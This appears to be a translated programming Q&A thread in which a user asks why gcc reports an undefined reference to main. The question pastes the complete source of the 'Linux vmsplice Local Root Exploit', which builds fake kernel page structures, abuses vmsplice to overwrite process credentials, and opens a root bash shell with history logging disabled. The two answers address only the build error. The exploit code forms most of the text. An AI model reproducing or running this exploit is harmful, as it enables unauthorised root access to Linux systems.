C程序中对''main'的未定义引用

时间:2013-12-21 18:12:07

标签: c

我已经阅读了关于这个主题的其他答案,不幸的是他们没有帮助我。 我正在尝试在我的电脑上编译一个C程序,但是编译器遇到了以下错误:

  

/usr/lib/gcc/x86_64-redhat-linux/4.1.2 /../../../../ lib64 / crt1.o:在函数_start': (.text+0x20): undefined reference to main'
  collect2:ld返回1退出状态

虽然程序有一个主要的。 该代码是一个漏洞,我尝试在我的电脑上运行以进行考试:

#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>

#define PIPE_BUFFERS    16
#define PG_compound 14
#define uint        unsigned int
#define static_inline   static inline __attribute__((always_inline))
#define STACK(x)    (x + sizeof(x) - 40)

struct page {
    unsigned long flags;
    int count;
    int mapcount;
    unsigned long private;
    void *mapping;
    unsigned long index;
    struct { long next, prev; } lru;
};

void exit_code();
char exit_stack[1024 * 1024];

void die(char *msg, int err)
{
    printf(err ? "[-] %s: %s " : "[-] %s ", msg, strerror(err));
    fflush(stdout);
    fflush(stderr);
    exit(1);
}

#if defined (__i386__)

#ifndef __NR_vmsplice
#define __NR_vmsplice   316
#endif

#define USER_CS     0x73
#define USER_SS     0x7b
#define USER_FL     0x246

static_inline
void exit_kernel()
{
    __asm__ __volatile__ (
    "movl %0, 0x10(%%esp) ;"
    "movl %1, 0x0c(%%esp) ;"
    "movl %2, 0x08(%%esp) ;"
    "movl %3, 0x04(%%esp) ;"
    "movl %4, 0x00(%%esp) ;"
    "iret"
    : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
        "i" (USER_CS), "r" (exit_code)
    );
}

static_inline
void * get_current()
{
    unsigned long curr;
    __asm__ __volatile__ (
    "movl %%esp, %%eax ;"
    "andl %1, %%eax ;"
    "movl (%%eax), %0"
    : "=r" (curr)
    : "i" (~8191)
    );
    return (void *) curr;
}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice   278
#endif

#define USER_CS     0x23
#define USER_SS     0x2b
#define USER_FL     0x246

static_inline
void exit_kernel()
{
    __asm__ __volatile__ (
    "swapgs ;"
    "movq %0, 0x20(%%rsp) ;"
    "movq %1, 0x18(%%rsp) ;"
    "movq %2, 0x10(%%rsp) ;"
    "movq %3, 0x08(%%rsp) ;"
    "movq %4, 0x00(%%rsp) ;"
    "iretq"
    : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
        "i" (USER_CS), "r" (exit_code)
    );
}

static_inline
void * get_current()
{
    unsigned long curr;
    __asm__ __volatile__ (
    "movq %%gs:(0), %0"
    : "=r" (curr)
    );
    return (void *) curr;
}

#else
#error "unsupported arch"
#endif

#if defined (_syscall4)
#define __NR__vmsplice  __NR_vmsplice
_syscall4(
    long, _vmsplice,
    int, fd,
    struct iovec *, iov,
    unsigned long, nr_segs,
    unsigned int, flags)

#else
#define _vmsplice(fd,io,nr,fl)  syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif

static uint uid, gid;

void kernel_code()
{
    int i;
    uint    *p = get_current();

    for (i = 0; i < 1024-13; i++) {
        if (p[0] == uid && p[1] == uid &&
            p[2] == uid && p[3] == uid &&
            p[4] == gid && p[5] == gid &&
            p[6] == gid && p[7] == gid) {
            p[0] = p[1] = p[2] = p[3] = 0;
            p[4] = p[5] = p[6] = p[7] = 0;
            p = (uint *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;
            break;
        }
        p++;
    }   

    exit_kernel();
}

void exit_code()
{
    if (getuid() != 0)
        die("wtf", 0);

    printf("[+] root ");
    putenv("HISTFILE=/dev/null");
    execl("/bin/bash", "bash", "-i", NULL);
    die("/bin/bash", errno);
}

int main(int argc, char *argv[])
{
    int     pi[2];
    size_t      map_size;
    char *      map_addr;
    struct iovec    iov;
    struct page *   pages[5];

    uid = getuid();
    gid = getgid();
    setresuid(uid, uid, uid);
    setresgid(gid, gid, gid);

    printf("-----------------------------------");
    printf(" Linux vmsplice Local Root Exploit");
    printf(" By qaaz");
    printf("-----------------------------------");

    if (!uid || !gid)
        die("!@#$", 0);

    /*****/
    pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
    pages[1] = pages[0] + 1;

    map_size = PAGE_SIZE;
    map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
                    MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);

    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx ", map_addr, map_addr + map_size);
    printf("[+] page: 0x%lx ", pages[0]);
    printf("[+] page: 0x%lx ", pages[1]);

    pages[0]->flags    = 1 << PG_compound;
    pages[0]->private  = (unsigned long) pages[0];
    pages[0]->count    = 1;
    pages[1]->lru.next = (long) kernel_code;

    /*****/
    pages[2] = *(void **) pages[0];
    pages[3] = pages[2] + 1;

    map_size = PAGE_SIZE;
    map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
                    MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);

    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx ", map_addr, map_addr + map_size);
    printf("[+] page: 0x%lx ", pages[2]);
    printf("[+] page: 0x%lx ", pages[3]);

    pages[2]->flags    = 1 << PG_compound;
    pages[2]->private  = (unsigned long) pages[2];
    pages[2]->count    = 1;
    pages[3]->lru.next = (long) kernel_code;

    /*****/
    pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
    map_size = PAGE_SIZE;
    map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
                    MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);
    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx ", map_addr, map_addr + map_size);
    printf("[+] page: 0x%lx ", pages[4]);

    /*****/
    map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
    map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);

    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx ", map_addr, map_addr + map_size);

    /*****/
    map_size -= 2 * PAGE_SIZE;
    if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
        die("munmap", errno);

    /*****/
    if (pipe(pi) < 0) die("pipe", errno);
    close(pi[0]);

    iov.iov_base = map_addr;
    iov.iov_len  = ULONG_MAX;

    signal(SIGPIPE, exit_code);
    _vmsplice(pi[1], &iov, 1, 0);
    die("vmsplice", errno);
    return 0;
}

提前致谢。


这是命令的输出:gcc exploit.c -o exploit

 Using built-in specs.
    Target: x86_64-redhat-linux
    Configured with: ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-libgcj-multifile --enable-languages=c,c++,objc,obj-c++,java,fortran,ada --enable-java-awt=gtk --disable-dssi --disable-plugin --with-java-home=/usr/lib/jvm/java-1.4.2-gcj-1.4.2.0/jre --with-cpu=generic --host=x86_64-redhat-linux
    Thread model: posix
    gcc version 4.1.2 20080704 (Red Hat 4.1.2-54)
     /usr/libexec/gcc/x86_64-redhat-linux/4.1.2/cc1 -quiet -v /usr/local/Plone/zinstance/var/exploit.c -quiet -dumpbase exploit.c -mtune=generic -auxbase exploit -version -o /tmp/cclLsvN1.s
    ignoring nonexistent directory "/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../x86_64-redhat-linux/include"
    #include "..." search starts here:
    #include <...> search starts here:
     /usr/local/include
     /usr/lib/gcc/x86_64-redhat-linux/4.1.2/include
     /usr/include
    End of search list.
    GNU C version 4.1.2 20080704 (Red Hat 4.1.2-54) (x86_64-redhat-linux)
            compiled by GNU C version 4.1.2 20080704 (Red Hat 4.1.2-54).
    GGC heuristics: --param ggc-min-expand=100 --param ggc-min-heapsize=131072
    Compiler executable checksum: d9259db5918a1d4098c2a59efd7b40ce
    /usr/local/Plone/zinstance/var/exploit.c:1:20: warning: missing whitespace after the macro name
     as -V -Qy -o /tmp/ccsCgguR.o /tmp/cclLsvN1.s
    GNU assembler version 2.17.50.0.6-26.el5 (x86_64-redhat-linux) using BFD version 2.17.50.0.6-26.el5 20061020
     /usr/libexec/gcc/x86_64-redhat-linux/4.1.2/collect2 --eh-frame-hdr -m elf_x86_64 --hash-style=gnu -dynamic-linker /lib64/ld-linux-x86-64.so.2 -o /usr/local/Plone/zinstance/var/exploit /usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64/crt1.o /usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64/crti.o /usr/lib/gcc/x86_64-redhat-linux/4.1.2/crtbegin.o -L/usr/lib/gcc/x86_64-redhat-linux/4.1.2 -L/usr/lib/gcc/x86_64-redhat-linux/4.1.2 -L/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64 -L/lib/../lib64 -L/usr/lib/../lib64 /tmp/ccsCgguR.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/x86_64-redhat-linux/4.1.2/crtend.o /usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64/crtn.o
    /usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64/crt1.o: In function `_start':
    (.text+0x20): undefined reference to `main'
    collect2: ld returned 1 exit status

谢谢!

2 个答案:

答案 0 :(得分:3)

您没有编译您认为正在编译的文件。这表现在两件事上:

  • 链接器抱怨main未明确显示在显示的源中。
  • 警告消息“/usr/local/Plone/zinstance/var/exploit.c:1:20:警告:宏名称后缺少空格”与显示的源不匹配。

#define行包含宏名称之后的另一个标记而没有插入空格时,会出现该警告消息,例如:

#define foo,

您显示的来源在第1行不包含此类文字。

此外,您显示您报告的文本是命令“gcc exploit.c -o exploit”的输出,但除非使用“-v”选项,否则gcc不会显示该类型的文本。因此输出必须通过不同的命令获得。

如果您在编辑器中打开文件,则应保存该文件,并应检查编辑器将文件保存到的文件系统路径。

答案 1 :(得分:0)

可能现在为时已晚。

使用-c标志应该可以解决问题